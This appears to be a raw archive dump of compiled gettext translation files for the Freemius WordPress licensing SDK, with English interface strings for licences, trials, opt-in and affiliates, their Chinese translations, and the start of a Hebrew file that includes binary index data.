information, allowing the %s to periodically send data to %s to check for version updates and to validate your trial.FreeFree TrialFree versionFreemius APIFreemius DebugFreemius SDK couldn't find the plugin's main file. Please contact sdk@freemius.com with the current error.Freemius StateFreemius is our licensing and software updates engineFull nameFunctionGet commission for automated subscription renewals.Get updates for bleeding edge Beta versions of %s.Have a license key?Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!How do you like %s so far? Test all our %s premium features with a %d-day free trial.How to upload and activate?How will you promote us?I Agree - Change UserI can't pay for it anymoreI couldn't understand how to make it workI don't like to share my information with youI found a better %sI have upgraded my account but when I try to Sync the License, the plan remains %s.I no longer need the %sI only needed the %s for a short periodIDIf this is a long term duplicate, to keep automatic updates and paid functionality after %s, please %s.If you click it, this decision will be delegated to the sites administrators.If you have a moment, please let us know why you are %sIf you would like to give up the ownership of the %s's account to %s click the Change Ownership button.If you'd like to use the %s on those sites, please enter your license key below and click the activation button.Important Upgrade Notice:In %sIn case you are NOT planning on using this %s on this site (or any other site) - would you like to cancel the %s as well?Install Free Version NowInstall Free Version Update NowInstall NowInstall Update NowInstalling plugin: %sInvalid clone resolution action.Invalid module ID.Invalid new user ID or email address.Invalid site details collection.InvoiceIs %2$s a duplicate of %4$s?Is %2$s a new website?Is %2$s the new home of %4$s?Is ActiveIs this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin.It looks like the license could not be activated.It looks like the license deactivation failed.It looks like you are not in trial mode anymore so there's nothing to cancel :)It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry.It looks like your site currently doesn't have an active license.It requires license activation.It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.It's a temporary %s - I'm troubleshooting an issueIt's not what I was looking forJoin the Beta programJust letting you know that the add-ons information of %s is being pulled from an external server.KeyKindly share what didn't work so we can fix it for future users...Kindly tell us the reason so we can improve.LastLast UpdatedLast licenseLatest Free Version InstalledLatest Version InstalledLearn moreLengthLicenseLicense AgreementLicense IDLicense KeyLicense issues?License keyLicense key is empty.LifetimeLike the %s? Become our ambassador and earn cash ;-)Load DB OptionLocalhostLogLoggerLong-Term DuplicateMessageMethodMigrateMigrate LicenseMigrate Options to NetworkMobile appsModuleModule PathModule TypeMore information about %sNameNetwork BlogNetwork UserNewNew Version AvailableNew WebsiteNewer Free Version (%s) InstalledNewer Version (%s) InstalledNewsletterNextNoNo - only move this site's data to %sNo IDNo commitment for %s - cancel anytimeNo commitment for %s days - cancel anytime!No credit card requiredNo expirationNon-expiringNone of the %s's plans supports a trial period.O.KOnce your license expires you can still use the Free version but you will NOT have access to the %s features.Once your license expires you will no longer be able to use the %s, unless you activate it again with a valid premium license.Opt InOpt OutOpt in to make "%s" better!OtherOwner EmailOwner IDOwner NamePCI compliantPaid add-on must be deployed to Freemius.PayPal account email addressPaymentsPayouts are in USD and processed monthly via PayPal.PlanPlan %s do not exist, therefore, can't start a trial.Plan %s does not support a trial period.Plan IDPlease contact us herePlease contact us with the following message:Please download %s.Please enter the license key that you received in the email right after the purchase:Please enter the license key to enable the debug mode:Please feel free to provide any relevant website or social media statistics, e.g. monthly unique site visits, number of email subscribers, followers, etc. (we will keep this information confidential).Please follow these steps to complete the upgradePlease let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price.Please provide details on how you intend to promote %s (please be as specific as possible).Please provide your full name.PluginPlugin HomepagePlugin IDPlugin InstallPlugin installer section titleChangelogPlugin installer section titleDescriptionPlugin installer section titleFAQPlugin installer section titleFeatures & PricingPlugin installer section titleInstallationPlugin installer section titleOther NotesPlugin installer section titleReviewsPlugin is a "Serviceware" which means it does not have a premium code version.PluginsPlugins & Themes SyncPremiumPremium %s version was successfully activated.Premium add-on version already installed.Premium versionPremium version already active.PricingPrivacy PolicyProceedProcess IDProcessingProductsProgram SummaryPromotion methodsProvincePublic KeyPurchase LicensePurchase MoreQuick FeedbackQuotaRe-send activation emailRefer new customers to our %s and earn %s commission on each successful sale you refer!Renew licenseRenew your license nowRequestsRequires WordPress VersionReset Deactivation SnoozingResultSDKSDK PathSave %sSavedScheduled CronsScreenshotsSearch by addressSecret KeySecure HTTPS %s page, running from an external domainSeems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes.Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes.Seems like you got the latest release.Select CountrySend License KeySet DB OptionSimulate Network UpgradeSimulate Trial PromotionSingle Site LicenseSite IDSite successfully opted in.SitesSkip & %sSlugSnooze & %sSo you can reuse the license when the %s is no longer active.Social media (Facebook, Twitter, etc.)Sorry for the inconvenience and we are here to help if you give us a chance.Sorry, we could not complete the email update. Another user with the same email is already registered.StartStart DebugStart TrialStart my free %sStateStop DebugSubmitSubmit & %sSubscriptionSupportSupport ForumSync Data From ServerTax / VAT IDTerms of ServiceThank you for applying for our affiliate program, unfortunately, we've decided at this point to reject your application. Please try again in 30 days.Thank you for applying for our affiliate program, we'll review your details during the next 14 days and will get back to you with further information.Thank you so much for using %s and its add-ons!Thank you so much for using %s!Thank you so much for using our products!Thank you!Thanks %s!Thanks for confirming the ownership change. An email was just sent to %s for final approval.The %s broke my siteThe %s didn't workThe %s didn't work as expectedThe %s is great, but I need specific feature that you don't supportThe %s is not workingThe %s suddenly stopped workingThe following products'The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page.The products below have been placed into safe mode because we noticed that %2$s is an exact copy of %3$s:%1$sThe products below have been placed into safe mode because we noticed that %2$s is an exact copy of these sites:%3$s%1$sThe remote plugin package does not contain a folder with the desired slug and renaming did not work.The upgrade of %s was successfully completed.ThemeTheme SwitchThemesThere is a %s of %s available.There is a new version of %s available.This plugin has not been marked as compatible with your version of WordPress.This plugin has not been tested with your current version of WordPress.TimestampTitleTo enter the debug mode, please enter the secret key of the license owner (UserID = %d), which you can find in your "My Profile" section of your User Dashboard:TotalTownTrialTypeUnable to connect to the filesystem. Please confirm your credentials.Unlimited LicensesUnlimited UpdatesUnlimited commissions.Up to %s SitesUpdateUpdate LicenseUpdates, announcements, marketing, no spamUpgradeUpload and activate the downloaded versionUsed to express elation, enthusiasm, or triumph (especially in electronic communication).W00tUser DashboardUser IDUser keyUsersValueVerification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.VerifiedVerify EmailVersion %s was released.View detailsView paid featuresWarningWe can't see any active licenses associated with that email address, are you sure it's the right address?We couldn't find your email address in the system, are you sure it's the right address?We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes.We made a few tweaks to the %s, %sWe're excited to introduce the Freemius network-level integration.Website, email, and social media statistics (optional)Welcome to %s! To get started, please enter your license key:What did you expect?What feature?What is your %s?What price would you feel comfortable paying?What you've been looking for?What's the %s's name?Where are you going to promote the %s?WordPress.org Plugin PageWould you like to merge %s into %s?Would you like to proceed with the update?YesYes - %sYes - both addresses are mineYes - move all my data and assets from %s to %sYes, %%2$s is replacing %%4$s. I would like to migrate my %s from %%4$s to %%2$s.Yes, %2$s is a duplicate of %4$s for the purpose of testing, staging, or development.Yes, %2$s is a new and different website that is separate from %4$s.You already utilized a trial before.You are 1-click away from starting your %1$s-day free trial of the %2$s plan.You are all good!You are already running the %s in a trial mode.You are just one step away - %sYou can still enjoy all %s features but you will not have access to %s security & feature updates, nor support.You do not have a valid license to access the premium version.You have a %s license.You have purchased a %s license.You have successfully updated your %s.You marked this website, %s, as a temporary duplicate of %s.You marked this website, %s, as a temporary duplicate of these sitesYou might have missed it, but you don't have to share any data and can just %s the opt-in.You've already opted-in to our usage-tracking, which helps us keep improving the %s.You've already opted-in to our usage-tracking, which helps us keep improving them.Your %s Add-on plan was successfully upgraded.Your %s free trial was successfully cancelled.Your %s license was flagged as white-labeled to hide sensitive information from the WP Admin (e.g. your email, license key, prices, billing address & invoices). If you ever wish to revert it back, you can easily do it through your %s. If this was a mistake you can also %s.Your %s license was successfully deactivated.Your account was successfully activated with the %s plan.Your affiliate application for %s has been accepted! Log in to your affiliate area at: %s.Your affiliation account was temporarily suspended.Your email has been successfully verified - you are AWESOME!Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your free trial has expired. You can still continue using all our free features.Your license has been cancelled. If you think it's a mistake, please contact support.Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions.Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support.Your license has expired. You can still continue using the free %s forever.Your license was successfully activated.Your license was successfully deactivated, you are back to the %s plan.Your name was successfully updated.Your plan was successfully activated.Your plan was successfully changed to %s.Your plan was successfully upgraded.Your subscription was successfully cancelled. Your %s plan license will expire in %s.Your trial has been successfully started.ZIP / Postal Codea positive responseRight onactivate a license hereactive add-onActiveaddonX cannot run without pluginY%s cannot run without %s.addonX cannot run...%s cannot run without the plugin.advance notice of something that will need attention.Heads upallowas 5 licenses left%s leftas activating pluginActivatingas annual periodyearas application program interfaceAPIas close a windowDismissas code debuggingDebuggingas congratulationsCongratsas connection blockedBlockedas connection was successfulConnectedas download latest versionDownload Latestas download latest versionDownload Latest Free Versionas every monthMonthlyas expiration dateExpirationas file/folder pathPathas in the process of sending an emailSending emailas monthly periodmoas once a yearAnnualas once a yearAnnuallyas once a yearOnceas product pricing planPlanas secret encryption key missingNo Secretas software development kit versionsSDK Versionsas software licenseLicenseas synchronizeSyncas synchronize licenseSync Licenseas the plugin authorAuthoras turned offOffas turned onOnbased on %scall to actionStart free trialclose a windowDismissclose windowDismissdatadaysdeactivatingdelegatedo %sNOT%s send me security & feature updates, educational content and offers.e.g. Professional Plan%s Plane.g. billed monthlyBilled %se.g. the best productBestexclamationHeyexclamationOopsgreetingHey %s,hourhoursinstalled add-onInstalledinterjection expressing joy or exuberanceYee-hawlicenselike websitesSitesmillisecondsmsnew Beta versionnew versionnot verifiednounPricenounPricingoptionalproduct versionVersionproductsrevert it nowsecondssecseems like the key you entered doesn't match our records.send me security & feature updates, educational content and offers.skipsomething somebody says when they are thinking about what you have just said.Hmmstart the trialsubscriptionswitchingthe above-mentioned sitesthe latest %s version heretrialtrial periodTrialverbDeleteverbDowngradeverbEditverbHideverbOpt InverbOpt OutverbPurchaseverbShowverbSkipverbUpdateverbUpgradex-ago%s agoProject-Id-Version: WordPress SDK Report-Msgid-Bugs-To: https://github.com/Freemius/wordpress-sdk/issues PO-Revision-Date: 2023-04-19 18:31+0530 Last-Translator: Yulinn <977869645@qq.com>, 2022 Language-Team: Chinese (China) (http://www.transifex.com/freemius/wordpress-sdk/language/zh_CN/) Language: zh_CN MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=1; plural=0; X-Poedit-Basepath: .. X-Poedit-KeywordsList: get_text_inline;fs_text_inline;fs_echo_inline;fs_esc_js_inline;fs_esc_attr_inline;fs_esc_attr_echo_inline;fs_esc_html_inline;fs_esc_html_echo_inline;get_text_x_inline:1,2c;fs_text_x_inline:1,2c;fs_echo_x_inline:1,2c;fs_esc_attr_x_inline:1,2c;fs_esc_js_x_inline:1,2c;fs_esc_js_echo_x_inline:1,2c;fs_esc_html_x_inline:1,2c;fs_esc_html_echo_x_inline:1,2c X-Poedit-SourceCharset: UTF-8 X-Generator: Poedit 3.2.2 X-Poedit-SearchPath-0: . X-Poedit-SearchPathExcluded-0: *.js %s以访问版本%s的安全和功能更新以及支持。%s 的 %s 下载链接 %s、许可证密钥和安装说明已发送到 %s。如果您在 5 分钟后找不到该电子邮件,请检查您的垃圾邮件箱。已安装%1$s的付费版本。请激活它以开始使用%2$s功能。%3$s公司%s 的%1$s 已进入安全模式,因为我们注意到 %2$s 是 %3$s 的精确副本。%1$s将立即停止所有未来的定期付款,并且您的%2$s计划许可证将在%3$s过期。%1$s将立即停止所有未来的定期付款,并且您的%s计划许可证将在%s过期。立即完成”%s“激活已成功购买%s加载项。%s安装%s许可证%s以前%s及其附加组件%s 自动安全和功能更新以及付费功能将继续运行而不会中断,直到 %s(或当您的许可证到期时,无论先到者)。%s客户购买新许可证时收取佣金。%s免费试用已成功取消。因为附加组件是高级的,所以它被自动停用。如果你想在将来使用它,你必须购买许可证。%s是一款仅限高级的附加组件。在激活插件之前,必须先购买许可证。%s 是我客户的电子邮件地址%s 是我的电子邮件地址%s是帐户的新主人。%s最低付款金额。%s或更高%s级%s评级%s秒%s星%s星%s时间%年代%s以访问版本%s的安全和功能更新以及支持。%s首次访问后跟踪Cookie,以最大限度地提高收益潜力。%s的付费功能%s单击此处%s可选择要激活许可证的站点。刚刚向 %s 发送了一封确认电子邮件。电子邮件所有者必须在接下来的 4 小时内确认更新。刚刚向 %s 发送了一封确认电子邮件。您必须在接下来的 4 小时内确认更新。如果您找不到该电子邮件,请检查您的垃圾邮件文件夹。API←➤帐户帐户详细信息行动激活激活%s激活%s计划激活%s功能激活免费版本激活许可证在所有挂起的站点上激活许可证。在网络中的所有站点上激活许可证。激活此加载项激活%s的加载项模块%s的加载项添加另一个域附加组件附加组件加载项必须部署到WordPress.org或Freemius。网址地址行%d会员推广联盟免费%s后,只需支付%s同意并激活许可证所有请求所有类型允许并继续或者,您可以暂时跳过它,稍后在%s的网络级帐户页中激活许可证。数量从%s自动下载并安装的%s(付费版本)将在%s中启动。如果要手动执行此操作,请单击“取消”按钮。尝试设置用户的测试模式时发生了未知错误。尝试切换许可证的白标模式时发生未知错误。发生未知错误。测试版的更新将用最新的测试版替换您安装的%s版本-请小心使用,不要在生产站点上使用。你被警告了。匿名反馈在所有挂起的站点上应用。应用于网络中的所有站点。申请成为推广联盟%s 和 %s 都是您的电子邮件地址吗?是否确实要删除所有Freemius数据?确定要继续吗?由于我们保留30天的潜在退款,我们只支付超过30天的佣金。与许可证所有者的帐户关联。自动安装仅适用于已选择的用户。在%s中自动续订自动安装平均评级真棒加入推广联盟测试版本开具账单账单和发票阻止博客ID身体捆绑计划企业名称立即购买许可证购买许可证通过更改用户,您同意将帐户所有权转让给:找不到您的许可证密钥?取消取消%s并继续取消%s-我不再需要任何安全和功能更新,也不需要%s的支持服务,因为我不打算在此或任何其他站点上使用%s。取消%s?取消安装取消订阅取消试用取消正在取消%s正在取消%s...取消订阅取消试用将立即阻止使用所有高级功能。你确定吗?更改许可证变更所有权变更计划更改用户结帐城市清除 API 缓存清除更新瞬态点击这里单击此处匿名使用插件单击此处可查看评分为%s的评论单击此处可查看全尺寸屏幕截图%d产品代码兼容至联系方式联系支持联系我们贡献者无法激活%s。国家Cron类型日期停用停用许可证停用或卸载%s将自动禁用许可证,您可以在其他站点上使用该许可证。停用许可证将阻止所有高级功能,但将在其他站点上激活许可证。确定要继续吗?停用调试日志调试模式已成功启用,将在60分钟以内自动禁用。您也可以通过单击“停止调试”链接提前禁用。委派给站点管理员删除所有帐户细节禁用白标模式不要取消%s-我仍然对获取安全和功能更新感兴趣,也可以联系支持人员。没有许可证密钥?捐赠给这个插件降低您的计划下载下载%s版本下载付费版本下载最新的%s版本下载最新版本下载由于新的%sEU通用数据保护条例(GDPR)%s的合规性要求,要求您再次明确表示同意,确认您已经加入:-)由于违反我们的推广联盟条款,我们决定暂时封锁您的附属帐户。如果您有任何问题,请联系支持人员。复制网站在更新过程中,我们检测到%d个网站仍在等待许可证激活。在更新过程中,我们在网络中检测到%s个网站仍然需要您的注意。电子邮件电子邮件地址电子邮件地址更新启用白标模式终点请输入邮箱地址请输入您计划升级%s的网站或其他网站的域。请在下面输入您用于升级的电子邮件地址,我们将重新向您发送许可证密钥。输入新的电子邮件地址错误从服务器收到错误:期满%s后过期额外域您将营销产品的额外的网域。文件过滤为了遵守WordPress.org指南,在开始试用之前,我们要求您选择使用您的用户和非敏感站点信息,允许%s定期向%s发送数据以检查版本更新并验证您的试用。免费的免费试用免费版本Freemius APIFreemius 调试Freemius SDK找不到插件的主文件。请关于当前错误与sdk@freemius.com联系。Freemius 状态Freemius是我们的许可和软件更新引擎全名函数获得自动续订的佣金。获取%s的前沿测试版本的更新。有许可证密钥吗?嘿,你知道%s有会员计划吗?如果您喜欢%s,您可以成为我们的大使并赚取一些现金!到目前为止,您觉得%s怎么样?使用%d天免费试用来测试我们所有的%s高级功能。如何上传和激活?您将如何推广我们?我同意 - 更改用户我再也付不起了我不明白该怎么做我不想和你分享我的信息我找到了更好的%s我已经升级了我的帐户,但是当我尝试同步许可证时,计划仍然是%s。我不再需要%s我只需要在短时间内使用%sID如果这是长期副本,要在 %s 之后保留自动更新和付费功能,请 %s。如果单击它,此决定将委派给站点管理员。如果您有空,请告诉我们您为什么是%s如果要将%s帐户的所有权放弃给%s,请单击“更改所有权”按钮。如果要在这些站点上使用%s,请在下面输入许可证密钥,然后单击“激活”按钮。重要升级通知:在%s中如果您不打算在此站点(或任何其他站点)上使用此%s,是否也要取消%s?立即安装免费版本立即安装免费版本更新立即安装立即安装更新正在安装插件:%s无效的克隆解析操作。模块ID无效。无效的新用户ID或电子邮件地址。无效网站详细信息集合。发票%2$s 是 %4$s 的副本吗?%2$s 是一个新网站吗?%2$s 是 %4$s 的新主页吗?处于活动状态这是您客户的网站吗?如果您希望从WP管理员那里隐藏敏感信息,例如电子邮件,许可证密钥,价格,账单地址和发票,则为%s。似乎无法激活许可证。许可证停用似乎失败。看起来您不再处于试用模式,所以没有什么需要取消的:)看来你还在%s计划中。如果你确实升级或更改了计划,这可能是我们这边的问题-对不起。您的站点当前似乎没有活动许可证。它需要许可证激活。似乎身份验证参数中的一个不正确。请更新您的公钥、密钥和用户ID,然后重试。这是一个临时的 %s - 我正在解决一个问题这不是我要找的加入测试计划只是让您知道%s的加载项信息是从外部服务器提取的。钥匙请分享什么地方出了错,以便我们可以为未来的用户修复它...请告诉我们原因以便我们改进。最后上次更新时间最后一个许可证已安装最新的免费版本已安装最新版本了解更多长度许可证许可协议许可证ID许可证密钥许可问题?许可证密钥许可证密钥为空。终身喜欢%s吗?成为我们的大使并赚取现金 ;-)加载数据库选项本机日志记录器长期副本消息方法迁移迁移许可证将选项迁移到网络移动应用程序模块模块路径模块类型有关%s的详细信息姓名网络博客网络用户新的新版本可用新网站已安装较新的免费版本(%s)安装了较新的版本(%s)新闻稿下一个不否 - 仅将此站点的数据移动到 %s无 ID%s没有承诺-随时取消%s天没有承诺-随时取消!不需要信用卡永不过期非到期%s的任何计划都不支持试用期。好许可证过期后,您仍然可以使用免费版本,但您将无法使用%s功能。许可证过期后,您将无法再使用%s,除非您使用有效的高级许可证再次激活。选择加入选择退出选择加入以使“%s”更好!其他所有者电子邮件所有者 ID所有者名称PCI兼容付费附加组件必须部署到Freemius。PayPal 帐户电子邮件地址付款付款以美元为单位,每月通过 PayPal 处理。计划计划%s不存在,因此无法启动试用。计划%s不支持试用期。计划ID请在这里联系我们请通过以下信息与我们联系:请下载%s。请输入购买后在电子邮件中收到的许可证密钥:请输入许可证密钥以启用调试模式:请随时提供任何相关的网站或社交媒体统计数据,例如每月独特的网站访问量、电子邮件订户数量、关注者数量等(我们将对这些信息保密)。请按照以下步骤完成升级如果您希望我们与您联系以获取安全和功能更新、教育内容和偶尔的优惠,请告知我们:请注意,取消后,我们将无法获取更新/新订阅的过期定价。如果您选择在未来手动续订,在价格上涨后,将向您收取更新后的价格。请提供有关您打算如何推广%s的详细信息(请尽可能具体)。请提供您的全名。插件插件主页插件ID插件安装变更日志说明常见问题解答功能和定价安装其他注意事项评论插件是一个“服务软件”,这意味着它没有高级代码版本。插件插件和主题同步高级版本高级%s版本已成功激活。已安装高级加载项版本。高级版高级版本已激活。定价隐私政策继续进程 ID处理产品计划摘要推广方式省公钥购买许可证购买更多快速反馈配额重新发送激活电子邮件向新客户介绍我们的%s,并在每次销售成功时获得%s佣金!更新许可证立即续订许可证请求需要WordPress版本复位失活休眠结果软件开发工具包SDK 路径保存%s已保存计划的 Crons屏幕截图按网址搜索密钥从外部域运行的安全HTTPS%s页面似乎关于您的订阅取消发生了一些暂时的问题。请过几分钟再试一次。看来关于您的试用取消发生了一些暂时的问题。请过几分钟再试一次。好像你得到了最新的版本。选择国家发送许可证密钥设置数据库选项模拟试用推广模拟试用推广单站点许可证站点 ID站点已成功选择加入。站点跳过&%sSlug暂停 & %s因此,当%s不再活动时,您可以重新使用许可证。社交媒体(脸书、推特等)很抱歉给您带来不便,如果您能给我们一个机会,我们将竭诚为您服务。对不起,我们无法完成电子邮件更新。具有相同电子邮件的另一个用户已注册。起点开始调试开始试用开始我的免费%s国家停止调试提交提交 & %s订阅支持支持论坛从服务器得到的同步数据税务/增值税ID服务条款感谢您申请我们的推广联盟计划,不幸的是,我们现在决定拒绝您的申请。请在30天后再试。感谢您申请我们的推广联盟计划,我们将在未来14天内审查您的详细信息,并将与您联系提供更多的信息。非常感谢您使用%s及其附加组件!非常感谢您使用%s!非常感谢您使用我们的产品!谢谢您!谢谢%s!感谢您确认所有权变更。刚刚向%s发送了一封电子邮件以获得最终批准。%s破坏了我的网站%s不起作用%s没有按预期工作%s很好,但我需要您不支持的特定功能%s不起作用%s突然停止工作以下产品安装过程已开始,可能需要几分钟才能完成。请等待完成-不要刷新此页。以下产品已进入安全模式,因为我们注意到 %3$s 是 %1$s 的精确副本:%2$s以下产品已进入安全模式,因为我们注意到 %3$s 是这些网站的精确副本:%1$s%2$s远程插件包不包含具有所需段塞的文件夹,重命名失败。%s的升级已成功完成。主题主题切换主题有一个%s的%s可用。有新版本的%s可用。此插件尚未标记为与您的WordPress版本兼容。此插件尚未用当前版本的WordPress进行测试。时间戳标题要进入调试模式,请输入许可证所有者的密钥(用户ID=%d),您可以在用户仪表板的“我的配置文件”部分找到该密钥:总计城镇审判类型无法连接到文件系统。请确认您的凭据。无限许可证无限更新佣金无上限。最多%s个站点更新更新许可证更新、公告、营销,无垃圾邮件升级上传并激活下载的版本W00t用户仪表盘用户 ID用户密钥用户值验证邮件刚刚发送到%s。如果5分钟后找不到,请检查垃圾邮件框。已验证的验证电子邮件版本%s已发布。查看详细信息查看付费功能警告我们看不到与该电子邮件地址关联的任何活动许可证,您确定它是正确的地址吗?我们在系统中找不到您的电子邮件地址,您确定地址正确吗?无法加载加载项列表。这可能是我们这边的问题,请几分钟后再来。我们对%s,%s进行了一些调整我们很高兴介绍Freemius网络级集成。网站、电子邮件和社交媒体统计(可选)欢迎使用%s!首先,请输入您的许可证密钥:你期望什么?什么功能?你的%s是什么?你愿意付出什么价钱?你在找什么?%s的名字是什么?您打算在哪里推广%s?WordPress.org 插件页面要将 %s 合并到 %s 中吗?是否继续更新?是是-%s是的 - 两个地址都是我的是 - 将我的所有数据和资产从 %s 移至 %s是的,%%2$s 正在替换 %%4$s。我想将我的 %s 从 %%4$s 迁移到 %%2$s。是的,%2$s 是 %4$s 的副本,用于测试、暂存或开发。是的,%2$s 是一个与 %4$s 不同的新网站。您以前已经试用过。您只需单击一次就可以开始%1$s天的%2$s计划免费试用。你们都很好!您已经在试用模式下运行%s。你离%s只差一步。您仍然可以享受所有%s功能,但您将无法获得%s安全和功能更新以及支持服务。您没有访问高级版本的有效许可证。您有%s许可证。您购买了 %s 许可证。您已成功更新%s。您将此网站 %s 标记为 %s 的临时副本。您将此网站 %s 标记为这些网站的临时副本您可能错过了,但您不必共享任何数据,只需选择%s即可。您已经选择加入我们的使用情况跟踪,这有助于我们不断改进%s。您已经选择了我们的使用情况跟踪,这有助于我们不断改进它们。%s加载项计划已成功升级。您的%s免费试用已成功取消。您的%s许可证被标记为白标,以对WP管理员隐藏敏感信息(例如,您的电子邮件,许可证密钥,价格,账单地址和发票)。如果您希望将其还原,则可以通过%s轻松完成。如果这是一个错误,您也可以%s。您的%s许可证已成功停用。您的帐户已用%s计划成功激活。您的%s会员申请已被接受!登录到您的分支区域,地址为%s。您的会员帐户已暂时挂起。你的电子邮件已被成功验证-你太棒了!您的免费试用已过期。%1$s立即升级%2$s以继续使用%3$s而不中断。您的免费试用已过期。您仍然可以继续使用我们所有的免费功能。你的许可证被取消了。如果您认为这是一个错误,请联系支持人员。您的许可证过期了。%1$s立即升级%2$s以继续使用%3$s而不中断。您的许可证过期了。您仍然可以继续使用所有%s功能,但您需要续订许可证才能继续获取更新和支持。您的许可证过期了。您仍然可以继续永远使用免费的%s。您的许可证已成功激活。您的许可证已成功停用,您回到了%s计划。您的姓名已成功更新。您的计划已成功激活。您的计划已成功更改为%s。您的计划已成功升级。您的订阅已成功取消。您的%s计划许可证将在%s后过期。您的试用已成功开始。邮政编码就在在此处激活许可证活跃的没有%s,%s无法运行。没有插件,%s无法运行。抬头允许剩下%s正在激活年API关闭调试恭喜此路不通已连接下载最新版本下载最新免费版本每月到期路径发送电子邮件瞬间每年每年一次计划没有秘密SDK 版本许可证同步同步许可证作者关闭打开基于%s开始免费试用关闭关闭数据天停用中代表不%s要%s向我发送安全和功能更新、教育内容和服务。%s计划帐单%s最好的嘿哎呀嘿%s,小时小时安装哟哈许可证站点毫秒新测试版新版本未验证价格定价可选的版本产品现在还原秒好像你输入的钥匙和我们的记录不符。请给我发送安全和功能更新,教育内容和优惠。跳过嗯开始试用订阅切换中上述网站这儿有最新的%s版本试用试用删除降级编辑隐藏选择加入选择退出购买显示跳过更新升级%s以前vendor/freemius/languages/freemius-he_IL.mo000064400000117061147600365160014776 0ustar00|ep&Sq&%& & &'6 'A'_'#V(z( ( ( ((((((H((),)4)D)L) U)a)r))&)-)) * **1*D*K*5S*** * *'** * ++ +'+++"+,25,!h,a,,,-$-,-@-H-Q-Y- ^-l---- - -Y-).8. I.U.^.c.(s.1.%.:.//4/E/M/ ]/ h/u// // /// U0 b0l00000000 1 (1311 11Y1a=2222 2 2;2%3*31304 54 @4 M4Z4ji44 4434*5~>5U56/6H6)c6-66S6#7';7c77f7g78 8%8 E8Q8d8w8 818.8O8:9A9y92v::a:+;B/;,r;; ; ;;; ;<< < <'<=<4F<{< <<<<< << < <<< <= == <=G=L=O=%U=+{== = =/= >m>|>>> >> > >)>>?4?D?5I?(???-??U @_@1(A[ZAAAA AA(B*.B"YB1|B+B*B&C,C4CJC.RCCCCC C CCCC D DD.D4DWMD DDDDDDDD EE !E5,ElbE&EEF F$F=FQFYF _FiF&nFLFfFIG OG[GlG rG ~GG GG GGGkHI)"I LI WI\bIIIICJJJ`JJ-K4K :KGK'NKMvKGK LLL"L'L-LE2LxLLLLLL*LM* M^7MMMMdMN N%N >NKN^NifNWN"(O6KOO OO-OOP&P*?PjPnP$wPMPP/P,Q>LQQ&QZQ.$R.SR9RZR3S<KSPSUS/TKT(UG?U#U)U$U)U$V6V;SV6V>VW W&WFW$\WWWWW&W*XCXZXxX3XXXXYY*9Y1dYYY#YYZZ (Z4ZTZkZ ZZNZZ["[=[M[^[1o[[[ [ [ [[ \C\R\QW\\ \\\ \\ ] ] ] ,] 9] G] Q] [] g] t])]#a(aa b b6 bWb_ c5lcc c cc c cd d dH(dqd udd d d dd$ddO e8\ee eeeeef5 f @f Kf Yfcf'vf$ffffg ggBg+}#}} }/} }m}k~r~z~~~~~)~~4+ ``k> &B:}mFρ[#r т  )4N ]j.*у  % 0 ;HXj}6W>V_z ƅ߅5'4܆ <W g r~&kf% &ڈ   $ELb<Å ,΋ߋCA%Tz-) Wb x%GB 6 @KQ XeEl ӎ 'S?8Տڏd hs'iWY"6ԑ 47F~&5̒(M9/˓XD$_5IE8Zȕ3#<W{_pK 'W>/ޘ'.6e &A  *1 5 @ KY bm  ˚Ԛ ݚ  -<V]fo ƛyϛ IW u  Ŝ Μۜu^e l $ ɝНٝ   %Ib=Qo@?^N5|9m,M41;</$]l&}n.*[qfpB+ e  Dmp43S{]*-=t T'j:'hPEP5b>"L!,K)"&Q~WXwGzk_>a+YXMSvl-[J6s $@iCcxcLZO.%1FtjWo\zA07I9J8rV<K}RdyY Cu(n# RB27H0UZ8FOTa#Vr^(3kG DUgfhsHwE q_ux?ey/i{!2:|d%A`vN;)6~ \`g%s - plugin name. As complete "PluginX" activation nowComplete "%s" Activation Now%s Add-on was successfully purchased.%s Installs%s Licenses%s ago%s commission when a customer purchases a new license.%s free trial was successfully cancelled. Since the add-on is premium only it was automatically deactivated. If you like to use it in the future, you'll have to purchase a license.%s is a premium only add-on. You have to purchase a license first before activating the plugin.%s is the new owner of the account.%s minimum payout amount.%s or higher%s rating%s ratings%s sec%s star%s stars%s time%s times%s tracking cookie after the first visit to maximize earnings potential.APIAccountAccount DetailsActionsActivateActivate %sActivate %s PlanActivate Free VersionActivate LicenseActivate license on all pending sites.Activate license on all sites in the network.Activate this add-onActivatedAdd Ons for %sAdd Ons of module %sAdd another domainAdd-OnAdd-OnsAdd-on must be deployed to WordPress.org or Freemius.AddressAddress Line %dAffiliateAffiliationAfter your free %s, pay as little as %sAgree & Activate LicenseAll RequestsAll TypesAllow & ContinueAmountAn automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now.Anonymous feedbackApply on all pending sites.Apply on all sites in the network.Apply to become an affiliateAre you sure you want to delete all Freemius data?Are you sure you want to proceed?As we reserve 30 days for potential refunds, we only pay commissions that are older than 30 days.Auto renews in %sAutomatic InstallationAverage RatingAwesomeBecome an affiliateBillingBlockingBlog IDBodyBusiness nameCan't find your license key?CancelCancel InstallationCancel SubscriptionCancel TrialCancelledCancelling the trial will immediately block access to all premium features. Are you sure?Change LicenseChange OwnershipChange PlanCheckoutCityClear API CacheClick here to use the plugin anonymouslyClick to see reviews that provided a rating of %sClick to view full-size screenshot %dClone resolution admin notice products list labelProductsCodeCompatible up toContactContact SupportContact UsContributorsCouldn't activate %s.CountryCron TypeDateDeactivateDeactivate LicenseDeactivating your license will block all premium features, but will enable activating the license on another site. Are 